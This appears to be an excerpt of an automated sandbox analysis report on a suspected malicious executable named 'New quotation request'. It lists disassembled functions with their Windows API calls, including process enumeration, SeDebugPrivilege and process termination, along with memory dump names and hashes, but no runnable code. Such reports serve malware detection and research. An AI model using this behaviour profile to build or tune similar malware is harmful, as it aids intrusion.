                                                                    • DuplicateHandle.KERNEL32(00000000,?,0030853C,00000B00,?,?), ref: 00308951
                                                                    • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0030853C,00000B00,?,?), ref: 00308961
                                                                    • GetCurrentProcess.KERNEL32(0030853C,00000000,?,0030853C,00000B00,?,?), ref: 00308969
                                                                    • DuplicateHandle.KERNEL32(00000000,?,0030853C,00000B00,?,?), ref: 0030896C
                                                                    • CreateThread.KERNEL32(00000000,00000000,00308992,00000000,00000000,00000000), ref: 00308986
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                    • String ID:
                                                                    • API String ID: 1957940570-0
                                                                    • Opcode ID: 099176727405aa62c8dafa1c968f6083a83dd2e3d8d9df23aa967d29f33e4ca5
                                                                    • Instruction ID: 41572c6605aa62a907f9b012b79049ba6aee3b6f27d6844503c8daaf4f28c6a0
                                                                    • Opcode Fuzzy Hash: 099176727405aa62c8dafa1c968f6083a83dd2e3d8d9df23aa967d29f33e4ca5
                                                                    • Instruction Fuzzy Hash: 2501BF75A40304FFE711ABA5EC8DF673B6CEB89711F404421FA05DB1A1CA709804DB20
                                                                    Function 00329B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: NULL Pointer assignment$Not an Object type
                                                                    • API String ID: 0-572801152
                                                                    • Opcode ID: 8610bc04328746388cca51cd4519c436de5674b2205780d3393a842d4eca9c6b
                                                                    • Instruction ID: 1dfaebb4f9e995c57339532bf4b0d3606b6b98233a5013cd914e891c295c09ee
                                                                    • Opcode Fuzzy Hash: 8610bc04328746388cca51cd4519c436de5674b2205780d3393a842d4eca9c6b
                                                                    • Instruction Fuzzy Hash: 3AC1B671A002299FDF15DF58E884BEEB7F9FF48314F16846AE905AB290E7709D44CB90
                                                                    Function 0032975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0030710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?,?,?,00307455), ref: 00307127
                                                                      • Part of subcall function 0030710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?,?), ref: 00307142
                                                                      • Part of subcall function 0030710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?,?), ref: 00307150
                                                                      • Part of subcall function 0030710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00307044,80070057,?), ref: 00307160
                                                                    • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00329806
                                                                    • _memset.LIBCMT ref: 00329813
                                                                    • _memset.LIBCMT ref: 00329956
                                                                    • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00329982
                                                                    • CoTaskMemFree.OLE32(?), ref: 0032998D
                                                                    Strings
                                                                    • NULL Pointer assignment, xrefs: 003299DB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                                    • String ID: NULL Pointer assignment
                                                                    • API String ID: 1300414916-2785691316
                                                                    • Opcode ID: be6a25a72e4b6b59a2c73655b253ed31e1fd3c76c277789bfb3e4f661f492d01
                                                                    • Instruction ID: b1facc3cd3f6ec63f05f0aa0dd228311f63c6aafb8b4ca0c13d7827b9096fad7
                                                                    • Opcode Fuzzy Hash: be6a25a72e4b6b59a2c73655b253ed31e1fd3c76c277789bfb3e4f661f492d01
                                                                    • Instruction Fuzzy Hash: 11913871D00229EBDB11DFA5DC81FDEBBB9AF08350F10415AF419AB291DB719A44CFA0
                                                                    Function 00336D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00336E24
                                                                    • SendMessageW.USER32(?,00001036,00000000,?), ref: 00336E38
                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00336E52
                                                                    • _wcscat.LIBCMT ref: 00336EAD
                                                                    • SendMessageW.USER32(?,00001057,00000000,?), ref: 00336EC4
                                                                    • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00336EF2
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window_wcscat
                                                                    • String ID: SysListView32
                                                                    • API String ID: 307300125-78025650
                                                                    • Opcode ID: 66a6d2f1af71cd40cde2bcbd7f1cbc2037ec1dd38a0781cf5a17862658567337
                                                                    • Instruction ID: 72b20adb1f0e3c60d4b6e5672a5ef2ea0d528f827effa745f94e33b2b52866f7
                                                                    • Opcode Fuzzy Hash: 66a6d2f1af71cd40cde2bcbd7f1cbc2037ec1dd38a0781cf5a17862658567337
                                                                    • Instruction Fuzzy Hash: A1419371A00348FFDB229F64CC86BEEB7A9EF08350F11452AF544E7191D6719D948B60
                                                                    Function 0032E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00313C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00313C7A
                                                                      • Part of subcall function 00313C55: Process32FirstW.KERNEL32(00000000,?), ref: 00313C88
                                                                      • Part of subcall function 00313C55: CloseHandle.KERNEL32(00000000), ref: 00313D52
                                                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0032E9A4
                                                                    • GetLastError.KERNEL32 ref: 0032E9B7
                                                                    • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0032E9E6
                                                                    • TerminateProcess.KERNEL32(00000000,00000000), ref: 0032EA63
                                                                    • GetLastError.KERNEL32(00000000), ref: 0032EA6E
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0032EAA3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                    • String ID: SeDebugPrivilege
                                                                    • API String ID: 2533919879-2896544425
                                                                    • Opcode ID: 8e5e94fa3ff70d58bf203973c97935c66a187c6ebf7df2db68fdd2a6ad385579
                                                                    • Instruction ID: f3f05527eaccd343d1aca401351691c115173940d21925fdb0848110bb92c4b0
                                                                    • Opcode Fuzzy Hash: 8e5e94fa3ff70d58bf203973c97935c66a187c6ebf7df2db68fdd2a6ad385579
                                                                    • Instruction Fuzzy Hash: 5241A9316002119FDB16EF24DCA6FAEBBA9AF45314F188418F9469F2D2CB74AC54CF91
                                                                    Function 00312F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadIconW.USER32(00000000,00007F03), ref: 00313033
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: IconLoad
                                                                    • String ID: blank$info$question$stop$warning
                                                                    • API String ID: 2457776203-404129466
                                                                    • Opcode ID: 23feb4e292f65ec1716626b8f86b62ef3591a458829ee1595052a825ac7b7bbe
                                                                    • Instruction ID: 9c0ef227354540eca23732fd93f746181adcfbfa0b4b48f2814c67fdd8fd7bb2
                                                                    • Opcode Fuzzy Hash: 23feb4e292f65ec1716626b8f86b62ef3591a458829ee1595052a825ac7b7bbe
                                                                    • Instruction Fuzzy Hash: 51110831648346BED71B9B14DC42CEB6BDC9F2D360F10402AFA02662C1DB616F8456A1
                                                                    Function 003142F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00314312
                                                                    • LoadStringW.USER32(00000000), ref: 00314319
                                                                    • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0031432F
                                                                    • LoadStringW.USER32(00000000), ref: 00314336
                                                                    • _wprintf.LIBCMT ref: 0031435C
                                                                    • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0031437A
                                                                    Strings
                                                                    • %s (%d) : ==> %s: %s %s, xrefs: 00314357
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HandleLoadModuleString$Message_wprintf
                                                                    • String ID: %s (%d) : ==> %s: %s %s
                                                                    • API String ID: 3648134473-3128320259
                                                                    • Opcode ID: 55f55bf703fc7b18bf884cc7ec8cf5fcb760378d4886942a9ab552fa3237836e
                                                                    • Instruction ID: 4275ab0999c65395d94086ccd8711e79fabf67d0eac28a993045834df49803e8
                                                                    • Opcode Fuzzy Hash: 55f55bf703fc7b18bf884cc7ec8cf5fcb760378d4886942a9ab552fa3237836e
                                                                    • Instruction Fuzzy Hash: B10162F6D00208BFE752ABA0DDC9FE6776CDB08301F4005A2B749E2051EB745E954B71
                                                                    Function 0033D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • GetSystemMetrics.USER32(0000000F), ref: 0033D47C
                                                                    • GetSystemMetrics.USER32(0000000F), ref: 0033D49C
                                                                    • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0033D6D7
                                                                    • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0033D6F5
                                                                    • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0033D716
                                                                    • ShowWindow.USER32(00000003,00000000), ref: 0033D735
                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 0033D75A
                                                                    • DefDlgProcW.USER32(?,00000005,?,?), ref: 0033D77D
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                                    • String ID:
                                                                    • API String ID: 1211466189-0
                                                                    • Opcode ID: dae52c8cf0bb932bf52df20f609ca043d4e87f82e391cb54ea32d92bca9a29ff
                                                                    • Instruction ID: 5332839eb2b4152978b4be8486a4682bb5234fe8395925bd4bb55dc4a0518462
                                                                    • Opcode Fuzzy Hash: dae52c8cf0bb932bf52df20f609ca043d4e87f82e391cb54ea32d92bca9a29ff
                                                                    • Instruction Fuzzy Hash: 6DB1AA71A00229EFDF1ACF69D9C57AD7BB1BF04701F098069EC589F295D734A990CB90
                                                                    Function 002B2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,002EC1C7,00000004,00000000,00000000,00000000), ref: 002B2ACF
                                                                    • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,002EC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 002B2B17
                                                                    • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,002EC1C7,00000004,00000000,00000000,00000000), ref: 002EC21A
                                                                    • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,002EC1C7,00000004,00000000,00000000,00000000), ref: 002EC286
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ShowWindow
                                                                    • String ID:
                                                                    • API String ID: 1268545403-0
                                                                    • Opcode ID: 4dc2d91d29bb6e34f8bc6e2a633cf3ac9da66e4b016456d0b1fdb81cbb3daa14
                                                                    • Instruction ID: 48f12dc9bf8ff41472670413fd3e8a76f2887f16e115dcc5c9805f424059a564
                                                                    • Opcode Fuzzy Hash: 4dc2d91d29bb6e34f8bc6e2a633cf3ac9da66e4b016456d0b1fdb81cbb3daa14
                                                                    • Instruction Fuzzy Hash: 91417D316347C1DFC73AAF698CC8BEB7B95AB45380F74881DE18782560C6B0A86AC711
                                                                    Function 003170C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InterlockedExchange.KERNEL32(?,000001F5), ref: 003170DD
                                                                      • Part of subcall function 002D0DB6: std::exception::exception.LIBCMT ref: 002D0DEC
                                                                      • Part of subcall function 002D0DB6: __CxxThrowException@8.LIBCMT ref: 002D0E01
                                                                    • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00317114
                                                                    • EnterCriticalSection.KERNEL32(?), ref: 00317130
                                                                    • _memmove.LIBCMT ref: 0031717E
                                                                    • _memmove.LIBCMT ref: 0031719B
                                                                    • LeaveCriticalSection.KERNEL32(?), ref: 003171AA
                                                                    • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 003171BF
                                                                    • InterlockedExchange.KERNEL32(?,000001F6), ref: 003171DE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                                                    • String ID:
                                                                    • API String ID: 256516436-0
                                                                    • Opcode ID: e04a2a27187e3d18b95b0330e2d9e6be1faec3883cc52a846efedd32d87344bf
                                                                    • Instruction ID: 45861f401bf1623b70a5cddbe667d1d3030a5df28faeaf986b9cce6f5aea4edb
                                                                    • Opcode Fuzzy Hash: e04a2a27187e3d18b95b0330e2d9e6be1faec3883cc52a846efedd32d87344bf
                                                                    • Instruction Fuzzy Hash: 93316C35900205EBCB01DFA5DC85AAFB778EF49710F5481B6E904AA256DB709E54CBA0
                                                                    Function 003361D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DeleteObject.GDI32(00000000), ref: 003361EB
                                                                    • GetDC.USER32(00000000), ref: 003361F3
                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 003361FE
                                                                    • ReleaseDC.USER32(00000000,00000000), ref: 0033620A
                                                                    • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00336246
                                                                    • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00336257
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0033902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00336291
                                                                    • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 003362B1
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                    • String ID:
                                                                    • API String ID: 3864802216-0
                                                                    • Opcode ID: f80fad9b76ced00dde15d28c78a3756bc815ba787c6fc5ef50e01362b1c5b29d
                                                                    • Instruction ID: 995bc9679581d3516b063747098ba644dc16c1d63fd4f593374010417a302378
                                                                    • Opcode Fuzzy Hash: f80fad9b76ced00dde15d28c78a3756bc815ba787c6fc5ef50e01362b1c5b29d
                                                                    • Instruction Fuzzy Hash: C2317C72601210BFEB128F54CC8AFEB3BADEF49765F054065FE08DA292C6B59C41CB60
                                                                    Function 0030BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memcmp
                                                                    • String ID:
                                                                    • API String ID: 2931989736-0
                                                                    • Opcode ID: fb3ac51ccc245f9aaf83ba14aedcf380ef8146dd8cc0221d513058ebf9afcd65
                                                                    • Instruction ID: 39399aabe26fa29d4717eed6ee37ee2a2fcf6bf1938205317cdea4361a1fbcf7
                                                                    • Opcode Fuzzy Hash: fb3ac51ccc245f9aaf83ba14aedcf380ef8146dd8cc0221d513058ebf9afcd65
                                                                    • Instruction Fuzzy Hash: 7321F6616022057BF207A6119D62FFBF39C9E15388F054021FD05AABC7FB24EE3185A1
                                                                    Function 0031EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                      • Part of subcall function 002CFC86: _wcscpy.LIBCMT ref: 002CFCA9
                                                                    • _wcstok.LIBCMT ref: 0031EC94
                                                                    • _wcscpy.LIBCMT ref: 0031ED23
                                                                    • _memset.LIBCMT ref: 0031ED56
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                                    • String ID: X
                                                                    • API String ID: 774024439-3081909835
                                                                    • Opcode ID: 725939a9401def87b462e1b22e5aa513f32af046fe4e3f6426f1ece1e72e2981
                                                                    • Instruction ID: 0c8a65f4f15716514693e8be1b7e4d09403358961e45aed643b96f1d8022e396
                                                                    • Opcode Fuzzy Hash: 725939a9401def87b462e1b22e5aa513f32af046fe4e3f6426f1ece1e72e2981
                                                                    • Instruction Fuzzy Hash: DEC181315187019FC719EF24C881A9AB7E4BF89354F00492DFD999B2A1DB31EC95CF92
                                                                    Function 002B1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 529540e5cbd15c8f035e3d8e232de13e527ce09381651ed21dc51267fea97351
                                                                    • Instruction ID: 02d8aabc6e36eecb133cd6e539ebf0340dfb51764be42088ed947915072099eb
                                                                    • Opcode Fuzzy Hash: 529540e5cbd15c8f035e3d8e232de13e527ce09381651ed21dc51267fea97351
                                                                    • Instruction Fuzzy Hash: B4717C30920109EFCB159F99CC98AFFBB78FF85350F508149F915AA251C730AA61CFA0
                                                                    Function 00326B76 Relevance: 10.7, APIs: 7, Instructions: 212COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
